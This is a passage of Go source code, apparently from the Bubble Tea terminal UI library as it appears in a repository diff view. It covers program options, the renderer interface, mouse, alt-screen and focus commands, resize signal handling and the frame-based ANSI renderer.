// This is mainly useful for testing.
func WithoutSignals() ProgramOption {
return func(p *Program) {
atomic.StoreUint32(&p.ignoreSignals, 1)
}
}
// WithAltScreen starts the program with the alternate screen buffer enabled
// (i.e. the program starts in full window mode). Note that the altscreen will
// be automatically exited when the program quits.
//
// Example:
//
// p := tea.NewProgram(Model{}, tea.WithAltScreen())
// if _, err := p.Run(); err != nil {
// fmt.Println("Error running program:", err)
// os.Exit(1)
// }
//
// To enter the altscreen once the program has already started running use the
// EnterAltScreen command.
func WithAltScreen() ProgramOption {
return func(p *Program) {
p.startupOptions |= withAltScreen
}
}
// WithoutBracketedPaste starts the program with bracketed paste disabled.
func WithoutBracketedPaste() ProgramOption {
return func(p *Program) {
p.startupOptions |= withoutBracketedPaste
}
}
// WithMouseCellMotion starts the program with the mouse enabled in "cell
// motion" mode.
//
// Cell motion mode enables mouse click, release, and wheel events. Mouse
// movement events are also captured if a mouse button is pressed (i.e., drag
// events). Cell motion mode is better supported than all motion mode.
//
// This will try to enable the mouse in extended mode (SGR), if that is not
// supported by the terminal it will fall back to normal mode (X10).
//
// To enable mouse cell motion once the program has already started running use
// the EnableMouseCellMotion command. To disable the mouse when the program is
// running use the DisableMouse command.
//
// The mouse will be automatically disabled when the program exits.
func WithMouseCellMotion() ProgramOption {
return func(p *Program) {
p.startupOptions |= withMouseCellMotion // set
p.startupOptions &^= withMouseAllMotion // clear
}
}
// WithMouseAllMotion starts the program with the mouse enabled in "all motion"
// mode.
//
// EnableMouseAllMotion is a special command that enables mouse click, release,
// wheel, and motion events, which are delivered regardless of whether a mouse
// button is pressed, effectively enabling support for hover interactions.
//
// This will try to enable the mouse in extended mode (SGR), if that is not
// supported by the terminal it will fall back to normal mode (X10).
//
// Many modern terminals support this, but not all. If in doubt, use
// EnableMouseCellMotion instead.
//
// To enable the mouse once the program has already started running use the
// EnableMouseAllMotion command. To disable the mouse when the program is
// running use the DisableMouse command.
//
// The mouse will be automatically disabled when the program exits.
func WithMouseAllMotion() ProgramOption {
return func(p *Program) {
p.startupOptions |= withMouseAllMotion // set
p.startupOptions &^= withMouseCellMotion // clear
}
}
// WithoutRenderer disables the renderer. When this is set output and log
// statements will be plainly sent to stdout (or another output if one is set)
// without any rendering and redrawing logic. In other words, printing and
// logging will behave the same way it would in a non-TUI commandline tool.
// This can be useful if you want to use the Bubble Tea framework for a non-TUI
// application, or to provide an additional non-TUI mode to your Bubble Tea
// programs. For example, your program could behave like a daemon if output is
// not a TTY.
func WithoutRenderer() ProgramOption {
return func(p *Program) {
p.renderer = &nilRenderer{}
}
}
// WithANSICompressor removes redundant ANSI sequences to produce potentially
// smaller output, at the cost of some processing overhead.
//
// This feature is provisional, and may be changed or removed in a future version
// of this package.
//
// Deprecated: this incurs a noticeable performance hit. A future release will
// optimize ANSI automatically without the performance penalty.
func WithANSICompressor() ProgramOption {
return func(p *Program) {
p.startupOptions |= withANSICompressor
}
}
// WithFilter supplies an event filter that will be invoked before Bubble Tea
// processes a tea.Msg. The event filter can return any tea.Msg which will then
// get handled by Bubble Tea instead of the original event. If the event filter
// returns nil, the event will be ignored and Bubble Tea will not process it.
//
// As an example, this could be used to prevent a program from shutting down if
// there are unsaved changes.
//
// Example:
//
// func filter(m tea.Model, msg tea.Msg) tea.Msg {
// if _, ok := msg.(tea.QuitMsg); !ok {
// return msg
// }
//
// model := m.(myModel)
// if model.hasChanges {
// return nil
// }
//
// return msg
// }
//
// p := tea.NewProgram(Model{}, tea.WithFilter(filter));
//
// if _,err := p.Run(); err != nil {
// fmt.Println("Error running program:", err)
// os.Exit(1)
// }
func WithFilter(filter func(Model, Msg) Msg) ProgramOption {
return func(p *Program) {
p.filter = filter
}
}
// WithFPS sets a custom maximum FPS at which the renderer should run. If
// less than 1, the default value of 60 will be used. If over 120, the FPS
// will be capped at 120.
func WithFPS(fps int) ProgramOption {
return func(p *Program) {
p.fps = fps
}
}
// WithReportFocus enables reporting when the terminal gains and loses
// focus. When this is enabled [FocusMsg] and [BlurMsg] messages will be sent
// to your Update method.
//
// Note that while most terminals and multiplexers support focus reporting,
// some do not. Also note that tmux needs to be configured to report focus
// events.
func WithReportFocus() ProgramOption {
return func(p *Program) {
p.startupOptions |= withReportFocus
}
}
+88
View File
@@ -0,0 +1,88 @@
package tea
// renderer is the interface for Bubble Tea renderers.
type renderer interface {
// Start the renderer.
start()
// Stop the renderer, but render the final frame in the buffer, if any.
stop()
// Stop the renderer without doing any final rendering.
kill()
// Write a frame to the renderer. The renderer can write this data to
// output at its discretion.
write(string)
// Request a full re-render. Note that this will not trigger a render
// immediately. Rather, this method causes the next render to be a full
// repaint. Because of this, it's safe to call this method multiple times
// in succession.
repaint()
// Clears the terminal.
clearScreen()
// Whether or not the alternate screen buffer is enabled.
altScreen() bool
// Enable the alternate screen buffer.
enterAltScreen()
// Disable the alternate screen buffer.
exitAltScreen()
// Show the cursor.
showCursor()
// Hide the cursor.
hideCursor()
// enableMouseCellMotion enables mouse click, release, wheel and motion
// events if a mouse button is pressed (i.e., drag events).
enableMouseCellMotion()
// disableMouseCellMotion disables Mouse Cell Motion tracking.
disableMouseCellMotion()
// enableMouseAllMotion enables mouse click, release, wheel and motion
// events, regardless of whether a mouse button is pressed. Many modern
// terminals support this, but not all.
enableMouseAllMotion()
// disableMouseAllMotion disables All Motion mouse tracking.
disableMouseAllMotion()
// enableMouseSGRMode enables mouse extended mode (SGR).
enableMouseSGRMode()
// disableMouseSGRMode disables mouse extended mode (SGR).
disableMouseSGRMode()
// enableBracketedPaste enables bracketed paste, where characters
// inside the input are not interpreted when pasted as a whole.
enableBracketedPaste()
// disableBracketedPaste disables bracketed paste.
disableBracketedPaste()
// bracketedPasteActive reports whether bracketed paste mode is
// currently enabled.
bracketedPasteActive() bool
// setWindowTitle sets the terminal window title.
setWindowTitle(string)
// reportFocus returns whether reporting focus events is enabled.
reportFocus() bool
// enableReportFocus reports focus events to the program.
enableReportFocus()
// disableReportFocus stops reporting focus events to the program.
disableReportFocus()
// resetLinesRendered ensures exec output remains on screen on exit
resetLinesRendered()
}
// repaintMsg forces a full repaint.
type repaintMsg struct{}
+248
View File
@@ -0,0 +1,248 @@
package tea
// WindowSizeMsg is used to report the terminal size. It's sent to Update once
// initially and then on every terminal resize. Note that Windows does not
// have support for reporting when resizes occur as it does not support the
// SIGWINCH signal.
type WindowSizeMsg struct {
Width int
Height int
}
// ClearScreen is a special command that tells the program to clear the screen
// before the next update. This can be used to move the cursor to the top left
// of the screen and clear visual clutter when the alt screen is not in use.
//
// Note that it should never be necessary to call ClearScreen() for regular
// redraws.
func ClearScreen() Msg {
return clearScreenMsg{}
}
// clearScreenMsg is an internal message that signals to clear the screen.
// You can send a clearScreenMsg with ClearScreen.
type clearScreenMsg struct{}
// EnterAltScreen is a special command that tells the Bubble Tea program to
// enter the alternate screen buffer.
//
// Because commands run asynchronously, this command should not be used in your
// model's Init function. To initialize your program with the altscreen enabled
// use the WithAltScreen ProgramOption instead.
func EnterAltScreen() Msg {
return enterAltScreenMsg{}
}
// enterAltScreenMsg in an internal message signals that the program should
// enter alternate screen buffer. You can send a enterAltScreenMsg with
// EnterAltScreen.
type enterAltScreenMsg struct{}
// ExitAltScreen is a special command that tells the Bubble Tea program to exit
// the alternate screen buffer. This command should be used to exit the
// alternate screen buffer while the program is running.
//
// Note that the alternate screen buffer will be automatically exited when the
// program quits.
func ExitAltScreen() Msg {
return exitAltScreenMsg{}
}
// exitAltScreenMsg in an internal message signals that the program should exit
// alternate screen buffer. You can send a exitAltScreenMsg with ExitAltScreen.
type exitAltScreenMsg struct{}
// EnableMouseCellMotion is a special command that enables mouse click,
// release, and wheel events. Mouse movement events are also captured if
// a mouse button is pressed (i.e., drag events).
//
// Because commands run asynchronously, this command should not be used in your
// model's Init function. Use the WithMouseCellMotion ProgramOption instead.
func EnableMouseCellMotion() Msg {
return enableMouseCellMotionMsg{}
}
// enableMouseCellMotionMsg is a special command that signals to start
// listening for "cell motion" type mouse events (ESC[?1002l). To send an
// enableMouseCellMotionMsg, use the EnableMouseCellMotion command.
type enableMouseCellMotionMsg struct{}
// EnableMouseAllMotion is a special command that enables mouse click, release,
// wheel, and motion events, which are delivered regardless of whether a mouse
// button is pressed, effectively enabling support for hover interactions.
//
// Many modern terminals support this, but not all. If in doubt, use
// EnableMouseCellMotion instead.
//
// Because commands run asynchronously, this command should not be used in your
// model's Init function. Use the WithMouseAllMotion ProgramOption instead.
func EnableMouseAllMotion() Msg {
return enableMouseAllMotionMsg{}
}
// enableMouseAllMotionMsg is a special command that signals to start listening
// for "all motion" type mouse events (ESC[?1003l). To send an
// enableMouseAllMotionMsg, use the EnableMouseAllMotion command.
type enableMouseAllMotionMsg struct{}
// DisableMouse is a special command that stops listening for mouse events.
func DisableMouse() Msg {
return disableMouseMsg{}
}
// disableMouseMsg is an internal message that signals to stop listening
// for mouse events. To send a disableMouseMsg, use the DisableMouse command.
type disableMouseMsg struct{}
// HideCursor is a special command for manually instructing Bubble Tea to hide
// the cursor. In some rare cases, certain operations will cause the terminal
// to show the cursor, which is normally hidden for the duration of a Bubble
// Tea program's lifetime. You will most likely not need to use this command.
func HideCursor() Msg {
return hideCursorMsg{}
}
// hideCursorMsg is an internal command used to hide the cursor. You can send
// this message with HideCursor.
type hideCursorMsg struct{}
// ShowCursor is a special command for manually instructing Bubble Tea to show
// the cursor.
func ShowCursor() Msg {
return showCursorMsg{}
}
// showCursorMsg is an internal command used to show the cursor. You can send
// this message with ShowCursor.
type showCursorMsg struct{}
// EnableBracketedPaste is a special command that tells the Bubble Tea program
// to accept bracketed paste input.
//
// Note that bracketed paste will be automatically disabled when the
// program quits.
func EnableBracketedPaste() Msg {
return enableBracketedPasteMsg{}
}
// enableBracketedPasteMsg in an internal message signals that
// bracketed paste should be enabled. You can send an
// enableBracketedPasteMsg with EnableBracketedPaste.
type enableBracketedPasteMsg struct{}
// DisableBracketedPaste is a special command that tells the Bubble Tea program
// to stop processing bracketed paste input.
//
// Note that bracketed paste will be automatically disabled when the
// program quits.
func DisableBracketedPaste() Msg {
return disableBracketedPasteMsg{}
}
// disableBracketedPasteMsg in an internal message signals that
// bracketed paste should be disabled. You can send an
// disableBracketedPasteMsg with DisableBracketedPaste.
type disableBracketedPasteMsg struct{}
// enableReportFocusMsg is an internal message that signals to enable focus
// reporting. You can send an enableReportFocusMsg with EnableReportFocus.
type enableReportFocusMsg struct{}
// EnableReportFocus is a special command that tells the Bubble Tea program to
// report focus events to the program.
func EnableReportFocus() Msg {
return enableReportFocusMsg{}
}
// disableReportFocusMsg is an internal message that signals to disable focus
// reporting. You can send an disableReportFocusMsg with DisableReportFocus.
type disableReportFocusMsg struct{}
// DisableReportFocus is a special command that tells the Bubble Tea program to
// stop reporting focus events to the program.
func DisableReportFocus() Msg {
return disableReportFocusMsg{}
}
// EnterAltScreen enters the alternate screen buffer, which consumes the entire
// terminal window. ExitAltScreen will return the terminal to its former state.
//
// Deprecated: Use the WithAltScreen ProgramOption instead.
func (p *Program) EnterAltScreen() {
if p.renderer != nil {
p.renderer.enterAltScreen()
} else {
p.startupOptions |= withAltScreen
}
}
// ExitAltScreen exits the alternate screen buffer.
//
// Deprecated: The altscreen will exited automatically when the program exits.
func (p *Program) ExitAltScreen() {
if p.renderer != nil {
p.renderer.exitAltScreen()
} else {
p.startupOptions &^= withAltScreen
}
}
// EnableMouseCellMotion enables mouse click, release, wheel and motion events
// if a mouse button is pressed (i.e., drag events).
//
// Deprecated: Use the WithMouseCellMotion ProgramOption instead.
func (p *Program) EnableMouseCellMotion() {
if p.renderer != nil {
p.renderer.enableMouseCellMotion()
} else {
p.startupOptions |= withMouseCellMotion
}
}
// DisableMouseCellMotion disables Mouse Cell Motion tracking. This will be
// called automatically when exiting a Bubble Tea program.
//
// Deprecated: The mouse will automatically be disabled when the program exits.
func (p *Program) DisableMouseCellMotion() {
if p.renderer != nil {
p.renderer.disableMouseCellMotion()
} else {
p.startupOptions &^= withMouseCellMotion
}
}
// EnableMouseAllMotion enables mouse click, release, wheel and motion events,
// regardless of whether a mouse button is pressed. Many modern terminals
// support this, but not all.
//
// Deprecated: Use the WithMouseAllMotion ProgramOption instead.
func (p *Program) EnableMouseAllMotion() {
if p.renderer != nil {
p.renderer.enableMouseAllMotion()
} else {
p.startupOptions |= withMouseAllMotion
}
}
// DisableMouseAllMotion disables All Motion mouse tracking. This will be
// called automatically when exiting a Bubble Tea program.
//
// Deprecated: The mouse will automatically be disabled when the program exits.
func (p *Program) DisableMouseAllMotion() {
if p.renderer != nil {
p.renderer.disableMouseAllMotion()
} else {
p.startupOptions &^= withMouseAllMotion
}
}
// SetWindowTitle sets the terminal window title.
//
// Deprecated: Use the SetWindowTitle command instead.
func (p *Program) SetWindowTitle(title string) {
if p.renderer != nil {
p.renderer.setWindowTitle(title)
} else {
p.startupTitle = title
}
}
+33
View File
@@ -0,0 +1,33 @@
//go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || aix || zos
// +build darwin dragonfly freebsd linux netbsd openbsd solaris aix zos
package tea
import (
"os"
"os/signal"
"syscall"
)
// listenForResize sends messages (or errors) when the terminal resizes.
// Argument output should be the file descriptor for the terminal; usually
// os.Stdout.
func (p *Program) listenForResize(done chan struct{}) {
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGWINCH)
defer func() {
signal.Stop(sig)
close(done)
}()
for {
select {
case <-p.ctx.Done():
return
case <-sig:
}
p.checkResize()
}
}
+10
View File
@@ -0,0 +1,10 @@
//go:build windows
// +build windows
package tea
// listenForResize is not available on windows because windows does not
// implement syscall.SIGWINCH.
func (p *Program) listenForResize(done chan struct{}) {
close(done)
}
+790
View File
@@ -0,0 +1,790 @@
package tea
import (
"bytes"
"fmt"
"io"
"strings"
"sync"
"time"
"github.com/charmbracelet/x/ansi"
"github.com/muesli/ansi/compressor"
)
const (
// defaultFramerate specifies the maximum interval at which we should
// update the view.
defaultFPS = 60
maxFPS = 120
)
// standardRenderer is a framerate-based terminal renderer, updating the view
// at a given framerate to avoid overloading the terminal emulator.
//
// In cases where very high performance is needed the renderer can be told
// to exclude ranges of lines, allowing them to be written to directly.
type standardRenderer struct {
mtx *sync.Mutex
out io.Writer
buf bytes.Buffer
queuedMessageLines []string
framerate time.Duration
ticker *time.Ticker
done chan struct{}
lastRender string
lastRenderedLines []string
linesRendered int
altLinesRendered int
useANSICompressor bool
once sync.Once
// cursor visibility state
cursorHidden bool
// essentially whether or not we're using the full size of the terminal
altScreenActive bool
// whether or not we're currently using bracketed paste
bpActive bool
// reportingFocus whether reporting focus events is enabled
reportingFocus bool
// renderer dimensions; usually the size of the window
width int
height int
// lines explicitly set not to render
ignoreLines map[int]struct{}
}
// newRenderer creates a new renderer. Normally you'll want to initialize it
// with os.Stdout as the first argument.
func newRenderer(out io.Writer, useANSICompressor bool, fps int) renderer {
if fps < 1 {
fps = defaultFPS
} else if fps > maxFPS {
fps = maxFPS
}
r := &standardRenderer{
out: out,
mtx: &sync.Mutex{},
done: make(chan struct{}),
framerate: time.Second / time.Duration(fps),
useANSICompressor: useANSICompressor,
queuedMessageLines: []string{},
}
if r.useANSICompressor {
r.out = &compressor.Writer{Forward: out}
}
return r
}
// start starts the renderer.
func (r *standardRenderer) start() {
if r.ticker == nil {
r.ticker = time.NewTicker(r.framerate)
} else {
// If the ticker already exists, it has been stopped and we need to
// reset it.
r.ticker.Reset(r.framerate)
}
// Since the renderer can be restarted after a stop, we need to reset
// the done channel and its corresponding sync.Once.
r.once = sync.Once{}
go r.listen()
}
// stop permanently halts the renderer, rendering the final frame.
func (r *standardRenderer) stop() {
// Stop the renderer before acquiring the mutex to avoid a deadlock.
r.once.Do(func() {
r.done <- struct{}{}
})
// flush locks the mutex
r.flush()
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.EraseEntireLine)
// Move the cursor back to the beginning of the line
r.execute("\r")
if r.useANSICompressor {
if w, ok := r.out.(io.WriteCloser); ok {
_ = w.Close()
}
}
}
// execute writes a sequence to the terminal.
func (r *standardRenderer) execute(seq string) {
_, _ = io.WriteString(r.out, seq)
}
// kill halts the renderer. The final frame will not be rendered.
func (r *standardRenderer) kill() {
// Stop the renderer before acquiring the mutex to avoid a deadlock.
r.once.Do(func() {
r.done <- struct{}{}
})
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.EraseEntireLine)
// Move the cursor back to the beginning of the line
r.execute("\r")
}
// listen waits for ticks on the ticker, or a signal to stop the renderer.
func (r *standardRenderer) listen() {
for {
select {
case <-r.done:
r.ticker.Stop()
return
case <-r.ticker.C:
r.flush()
}
}
}
// flush renders the buffer.
func (r *standardRenderer) flush() {
r.mtx.Lock()
defer r.mtx.Unlock()
if r.buf.Len() == 0 || r.buf.String() == r.lastRender {
// Nothing to do.
return
}
// Output buffer.
buf := &bytes.Buffer{}
// Moving to the beginning of the section, that we rendered.
if r.altScreenActive {
buf.WriteString(ansi.CursorHomePosition)
} else if r.linesRendered > 1 {
buf.WriteString(ansi.CursorUp(r.linesRendered - 1))
}
newLines := strings.Split(r.buf.String(), "\n")
// If we know the output's height, we can use it to determine how many
// lines we can render. We drop lines from the top of the render buffer if
// necessary, as we can't navigate the cursor into the terminal's scrollback
// buffer.
if r.height > 0 && len(newLines) > r.height {
newLines = newLines[len(newLines)-r.height:]
}
flushQueuedMessages := len(r.queuedMessageLines) > 0 && !r.altScreenActive
if flushQueuedMessages {
// Dump the lines we've queued up for printing.
for _, line := range r.queuedMessageLines {
if ansi.StringWidth(line) < r.width {
// We only erase the rest of the line when the line is shorter than
// the width of the terminal. When the cursor reaches the end of
// the line, any escape sequences that follow will only affect the
// last cell of the line.
// Removing previously rendered content at the end of line.
line = line + ansi.EraseLineRight
}
_, _ = buf.WriteString(line)
_, _ = buf.WriteString("\r\n")
}
// Clear the queued message lines.
r.queuedMessageLines = []string{}
}
// Paint new lines.
for i := 0; i < len(newLines); i++ {
canSkip := !flushQueuedMessages && // Queuing messages triggers repaint -> we don't have access to previous frame content.
len(r.lastRenderedLines) > i && r.lastRenderedLines[i] == newLines[i] // Previously rendered line is the same.
if _, ignore := r.ignoreLines[i]; ignore || canSkip {
// Unless this is the last line, move the cursor down.
if i < len(newLines)-1 {
buf.WriteByte('\n')
}
continue
}
if i == 0 && r.lastRender == "" {
// On first render, reset the cursor to the start of the line
// before writing anything.
buf.WriteByte('\r')
}
line := newLines[i]
// Truncate lines wider than the width of the window to avoid
// wrapping, which will mess up rendering. If we don't have the
// width of the window this will be ignored.
//
// Note that on Windows we only get the width of the window on
// program initialization, so after a resize this won't perform
// correctly (signal SIGWINCH is not supported on Windows).
if r.width > 0 {
line = ansi.Truncate(line, r.width, "")
}
if ansi.StringWidth(line) < r.width {
// We only erase the rest of the line when the line is shorter than
// the width of the terminal. When the cursor reaches the end of
// the line, any escape sequences that follow will only affect the
// last cell of the line.
// Removing previously rendered content at the end of line.
line = line + ansi.EraseLineRight
}
_, _ = buf.WriteString(line)
if i < len(newLines)-1 {
_, _ = buf.WriteString("\r\n")
}
}
// Clearing left over content from last render.
if r.lastLinesRendered() > len(newLines) {
buf.WriteString(ansi.EraseScreenBelow)
}
if r.altScreenActive {
r.altLinesRendered = len(newLines)
} else {
r.linesRendered = len(newLines)
}
// Make sure the cursor is at the start of the last line to keep rendering
// behavior consistent.
if r.altScreenActive {
// This case fixes a bug in macOS terminal. In other terminals the
// other case seems to do the job regardless of whether or not we're
// using the full terminal window.
buf.WriteString(ansi.CursorPosition(0, len(newLines)))
} else {
buf.WriteByte('\r')
}
_, _ = r.out.Write(buf.Bytes())
r.lastRender = r.buf.String()
// Save previously rendered lines for comparison in the next render. If we
// don't do this, we can't skip rendering lines that haven't changed.
// See https://github.com/charmbracelet/bubbletea/pull/1233
r.lastRenderedLines = newLines
r.buf.Reset()
}
// lastLinesRendered returns the number of lines rendered lastly.
func (r *standardRenderer) lastLinesRendered() int {
if r.altScreenActive {
return r.altLinesRendered
}
return r.linesRendered
}
// write writes to the internal buffer. The buffer will be outputted via the
// ticker which calls flush().
func (r *standardRenderer) write(s string) {
r.mtx.Lock()
defer r.mtx.Unlock()
r.buf.Reset()
// If an empty string was passed we should clear existing output and
// rendering nothing. Rather than introduce additional state to manage
// this, we render a single space as a simple (albeit less correct)
// solution.
if s == "" {
s = " "
}
_, _ = r.buf.WriteString(s)
}
func (r *standardRenderer) repaint() {
r.lastRender = ""
r.lastRenderedLines = nil
}
func (r *standardRenderer) clearScreen() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.EraseEntireScreen)
r.execute(ansi.CursorHomePosition)
r.repaint()
}
func (r *standardRenderer) altScreen() bool {
r.mtx.Lock()
defer r.mtx.Unlock()
return r.altScreenActive
}
func (r *standardRenderer) enterAltScreen() {
r.mtx.Lock()
defer r.mtx.Unlock()
if r.altScreenActive {
return
}
r.altScreenActive = true
r.execute(ansi.SetAltScreenSaveCursorMode)
// Ensure that the terminal is cleared, even when it doesn't support
// alt screen (or alt screen support is disabled, like GNU screen by
// default).
//
// Note: we can't use r.clearScreen() here because the mutex is already
// locked.
r.execute(ansi.EraseEntireScreen)
r.execute(ansi.CursorHomePosition)
// cmd.exe and other terminals keep separate cursor states for the AltScreen
// and the main buffer. We have to explicitly reset the cursor visibility
// whenever we enter AltScreen.
if r.cursorHidden {
r.execute(ansi.HideCursor)
} else {
r.execute(ansi.ShowCursor)
}
// Entering the alt screen resets the lines rendered count.
r.altLinesRendered = 0
r.repaint()
}
func (r *standardRenderer) exitAltScreen() {
r.mtx.Lock()
defer r.mtx.Unlock()
if !r.altScreenActive {
return
}
r.altScreenActive = false
r.execute(ansi.ResetAltScreenSaveCursorMode)
// cmd.exe and other terminals keep separate cursor states for the AltScreen
// and the main buffer. We have to explicitly reset the cursor visibility
// whenever we exit AltScreen.
if r.cursorHidden {
r.execute(ansi.HideCursor)
} else {
r.execute(ansi.ShowCursor)
}
r.repaint()
}
func (r *standardRenderer) showCursor() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.cursorHidden = false
r.execute(ansi.ShowCursor)
}
func (r *standardRenderer) hideCursor() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.cursorHidden = true
r.execute(ansi.HideCursor)
}
func (r *standardRenderer) enableMouseCellMotion() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.SetButtonEventMouseMode)
}
func (r *standardRenderer) disableMouseCellMotion() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.ResetButtonEventMouseMode)
}
func (r *standardRenderer) enableMouseAllMotion() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.SetAnyEventMouseMode)
}
func (r *standardRenderer) disableMouseAllMotion() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.ResetAnyEventMouseMode)
}
func (r *standardRenderer) enableMouseSGRMode() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.SetSgrExtMouseMode)
}
func (r *standardRenderer) disableMouseSGRMode() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.ResetSgrExtMouseMode)
}
func (r *standardRenderer) enableBracketedPaste() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.SetBracketedPasteMode)
r.bpActive = true
}
func (r *standardRenderer) disableBracketedPaste() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.ResetBracketedPasteMode)
r.bpActive = false
}
func (r *standardRenderer) bracketedPasteActive() bool {
r.mtx.Lock()
defer r.mtx.Unlock()
return r.bpActive
}
func (r *standardRenderer) enableReportFocus() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.SetFocusEventMode)
r.reportingFocus = true
}
func (r *standardRenderer) disableReportFocus() {
r.mtx.Lock()
defer r.mtx.Unlock()
r.execute(ansi.ResetFocusEventMode)
r.reportingFocus = false
}
func (r *standardRenderer) reportFocus() bool {
r.mtx.Lock()
defer r.mtx.Unlock()
return r.reportingFocus
}
// setWindowTitle sets the terminal window title.
func (r *standardRenderer) setWindowTitle(title string) {
r.execute(ansi.SetWindowTitle(title))
}
// setIgnoredLines specifies lines not to be touched by the standard Bubble Tea
// renderer.
func (r *standardRenderer) setIgnoredLines(from int, to int) {
// Lock if we're going to be clearing some lines since we don't want
// anything jacking our cursor.
if r.lastLinesRendered() > 0 {
r.mtx.Lock()
defer r.mtx.Unlock()
}
if r.ignoreLines == nil {
r.ignoreLines = make(map[int]struct{})
}
for i := from; i < to; i++ {
r.ignoreLines[i] = struct{}{}
}
// Erase ignored lines
lastLinesRendered := r.lastLinesRendered()
if lastLinesRendered > 0 {
buf := &bytes.Buffer{}
for i := lastLinesRendered - 1; i >= 0; i-- {
if _, exists := r.ignoreLines[i]; exists {
buf.WriteString(ansi.EraseEntireLine)
}
buf.WriteString(ansi.CUU1)
}
buf.WriteString(ansi.CursorPosition(0, lastLinesRendered)) // put cursor back
_, _ = r.out.Write(buf.Bytes())
}
}
// clearIgnoredLines returns control of any ignored lines to the standard
// Bubble Tea renderer. That is, any lines previously set to be ignored can be
// rendered to again.
func (r *standardRenderer) clearIgnoredLines() {
r.ignoreLines = nil
}
func (r *standardRenderer) resetLinesRendered() {
r.linesRendered = 0
}
// insertTop effectively scrolls up. It inserts lines at the top of a given
// area designated to be a scrollable region, pushing everything else down.
// This is roughly how ncurses does it.
//
// To call this function use command ScrollUp().
//
// For this to work renderer.ignoreLines must be set to ignore the scrollable
// region since we are bypassing the normal Bubble Tea renderer here.
//
// Because this method relies on the terminal dimensions, it's only valid for
// full-window applications (generally those that use the alternate screen
// buffer).
//
// This method bypasses the normal rendering buffer and is philosophically
// different than the normal way we approach rendering in Bubble Tea. It's for
// use in high-performance rendering, such as a pager that could potentially
// be rendering very complicated ansi. In cases where the content is simpler
// standard Bubble Tea rendering should suffice.
//
// Deprecated: This option is deprecated and will be removed in a future
// version of this package.
func (r *standardRenderer) insertTop(lines []string, topBoundary, bottomBoundary int) {
r.mtx.Lock()
defer r.mtx.Unlock()
buf := &bytes.Buffer{}
buf.WriteString(ansi.SetTopBottomMargins(topBoundary, bottomBoundary))
buf.WriteString(ansi.CursorPosition(0, topBoundary))
buf.WriteString(ansi.InsertLine(len(lines)))
_, _ = buf.WriteString(strings.Join(lines, "\r\n"))
buf.WriteString(ansi.SetTopBottomMargins(0, r.height))
// Move cursor back to where the main rendering routine expects it to be
buf.WriteString(ansi.CursorPosition(0, r.lastLinesRendered()))
_, _ = r.out.Write(buf.Bytes())
}
// insertBottom effectively scrolls down. It inserts lines at the bottom of
// a given area designated to be a scrollable region, pushing everything else
// up. This is roughly how ncurses does it.
//
// To call this function use the command ScrollDown().
//
// See note in insertTop() for caveats, how this function only makes sense for
// full-window applications, and how it differs from the normal way we do
// rendering in Bubble Tea.
//
// Deprecated: This option is deprecated and will be removed in a future
// version of this package.
func (r *standardRenderer) insertBottom(lines []string, topBoundary, bottomBoundary int) {
r.mtx.Lock()
defer r.mtx.Unlock()
buf := &bytes.Buffer{}
buf.WriteString(ansi.SetTopBottomMargins(topBoundary, bottomBoundary))
buf.WriteString(ansi.CursorPosition(0, bottomBoundary))
_, _ = buf.WriteString("\r\n" + strings.Join(lines, "\r\n"))
buf.WriteString(ansi.SetTopBottomMargins(0, r.height))
// Move cursor back to where the main rendering routine expects it to be
buf.WriteString(ansi.CursorPosition(0, r.lastLinesRendered()))
_, _ = r.out.Write(buf.Bytes())
}
// handleMessages handles internal messages for the renderer.
func (r *standardRenderer) handleMessages(msg Msg) {
switch msg := msg.(type) {
case repaintMsg:
// Force a repaint by clearing the render cache as we slide into a
// render.
r.mtx.Lock()
r.repaint()
r.mtx.Unlock()
case WindowSizeMsg:
r.mtx.Lock()
r.width = msg.Width
r.height = msg.Height
r.repaint()
r.mtx.Unlock()
case clearScrollAreaMsg:
r.clearIgnoredLines()
// Force a repaint on the area where the scrollable stuff was in this
// update cycle
r.mtx.Lock()
r.repaint()
r.mtx.Unlock()
case syncScrollAreaMsg:
// Re-render scrolling area
r.clearIgnoredLines()
r.setIgnoredLines(msg.topBoundary, msg.bottomBoundary)
r.insertTop(msg.lines, msg.topBoundary, msg.bottomBoundary)
// Force non-scrolling stuff to repaint in this update cycle
r.mtx.Lock()
r.repaint()
r.mtx.Unlock()
case scrollUpMsg:
r.insertTop(msg.lines, msg.topBoundary, msg.bottomBoundary)
case scrollDownMsg:
r.insertBottom(msg.lines, msg.topBoundary, msg.bottomBoundary)
case printLineMessage:
if !r.altScreenActive {
lines := strings.Split(msg.messageBody, "\n")
r.mtx.Lock()
r.queuedMessageLines = append(r.queuedMessageLines, lines...)
r.repaint()
r.mtx.Unlock()
}
}
}
// HIGH-PERFORMANCE RENDERING STUFF
type syncScrollAreaMsg struct {
lines []string
topBoundary int
bottomBoundary int
}
// SyncScrollArea performs a paint of the entire region designated to be the
// scrollable area. This is required to initialize the scrollable region and
// should also be called on resize (WindowSizeMsg).
//
// For high-performance, scroll-based rendering only.
//
// Deprecated: This option will be removed in a future version of this package.
func SyncScrollArea(lines []string, topBoundary int, bottomBoundary int) Cmd {
return func() Msg {
return syncScrollAreaMsg{
lines: lines,
topBoundary: topBoundary,
bottomBoundary: bottomBoundary,
}
}
}
type clearScrollAreaMsg struct{}
// ClearScrollArea deallocates the scrollable region and returns the control of
// those lines to the main rendering routine.
//
// For high-performance, scroll-based rendering only.
//
// Deprecated: This option will be removed in a future version of this package.
func ClearScrollArea() Msg {
return clearScrollAreaMsg{}
}
type scrollUpMsg struct {
lines []string
topBoundary int
bottomBoundary int
}
// ScrollUp adds lines to the top of the scrollable region, pushing existing
// lines below down. Lines that are pushed out the scrollable region disappear
// from view.
//
